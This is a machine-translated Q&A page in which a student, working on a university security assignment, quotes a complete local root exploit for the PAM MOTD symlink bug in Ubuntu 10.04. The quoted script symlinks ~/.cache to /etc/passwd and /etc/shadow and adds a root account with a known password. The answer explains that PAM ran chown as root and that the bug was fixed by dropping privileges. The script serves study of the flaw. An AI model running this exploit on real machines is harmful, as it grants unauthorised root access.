Как это использование позволяло доступ для записи к корневым файлам?

Для присвоения компьютерной безопасности в моем университете я должен найти и понять использование, которое работает над человечностью 10.04. Я уже нашел и протестировал один на машине Ubuntu 10.04 (что я владею),

Это - использование, выполненное как обычный пользователь, который предоставляет Вам корневой доступ. Взятый с Наступательного веб-сайта безопасности.

P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
    [ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
    [ -e "$1" ] || return 0
    mv "$1"{,.bak} || return 1
    echo "[*] Backuped $1"
}
restore() {
    [ -e "$1" ] && rm -rf "$1"
    [ -e "$1".bak ] || return 0
    mv "$1"{.bak,} || return 1
    echo "[*] Restored $1"
}
key_create() {
    backup ~/.ssh/authorized_keys
    ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
    [ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
    mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
    echo "[*] SSH key set up"
}
key_remove() {
    rm -f "$KEY"
    restore ~/.ssh/authorized_keys
    echo "[*] SSH key removed"
}
own() {
    [ -e ~/.cache ] && rm -rf ~/.cache
    ln -s "$1" ~/.cache || return 1
    echo "[*] spawn ssh"
    ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
    [ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
    echo "[+] owned: $1"
}
bye() {
    key_remove
    exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
  chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor

Я понимаю, почему это копирует файлы и что это генерирует ключ для использования с ssh позже, и что это делает гибкую ссылку между файлом кэша, который является файлом, который пользователь, запускающий скрипт, имеет права считать и записать, и файл, что Вы хотите взять владение.

Вещь, которую я не понимаю, состоит в том, почему echo "$P" >> /etc/passwd и echo "$S" >> /etc/shadow сделанный на этих файлах вместо кэша файла? Разве это не было целью гибкой ссылки между этими файлами и файлом кэша, чтобы смочь записать это?

Как делает $USER имеет разрешение в той точке в сценарии для записи и на тени и на passwd? Ответ ясно имеет отношение к ssh, сделанному к localhost, но почему этот ssh дает эти разрешения?

После этого я получаю то, что происходит, после того как оба файла изменяются затем, пользователь toor имеет корневые полномочия и вызывается с командой su. Моя основная проблема понимает с ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true позволяет Вам получить разрешения записи и на тени и на passwd.

7
задан 20 May 2014 в 20:03

1 ответ

Это было ошибка в pam_motd, который имеет давно, исправил :

pam_motd (иначе модуль MOTD) в libpam-модулях прежде 1.1.0-2ubuntu1.1 в PAM на Ubuntu 9.10 и libpam-модулях прежде 1.1.1-2ubuntu5 в PAM на Ubuntu 10.04 LTS позволяет локальным пользователям изменять владение произвольных файлов через нападение символьной ссылки на .cache в корневом каталоге пользователя, связанном с "пользовательскими штампами файла" и файлом motd.legal-уведомления.

Это в основном переводит в, входя в систему с SSH, PAM (модуль аутентификации, работая как корень) попробовал бы к chown $USER: ~/.cache. Это не надеялось видеть то, что это было так изменением владения, распространял в связанный файл.

, Который позволил Вам владеть и затем редактировать системные файлы и получать доступ корневого уровня.

, В то время как .cache был symlinked к /etc/{passwd,shadow}, они, возможно, отозвались эхом в .cache... Но почему беспокойство? Той точкой тем файлам изменили их принадлежность файла на $USER. Они были свободно доступны для редактирования.

Только в ответе на Ваши комментарии:

  • Это не дает Вам разрешение, это (или я должен сказать, его модуль PAM) вещь, изменяющая владение. Но да, PAM, делающий, что это сделало, был проблемой.

  • символьная ссылка на ~/.cache является просто перенаправлением для использования. Требуется так, чтобы, когда Вы входите в систему, PAM (работающий как корень) попробовал к chown связанный файл. Это эти использование там.

  • Это был контроль, и это было зафиксировано путем отбрасывания полномочий перед вводом в любой тот код.

11
ответ дан 17 November 2019 в 03:34

Другие вопросы по тегам:

Похожие вопросы: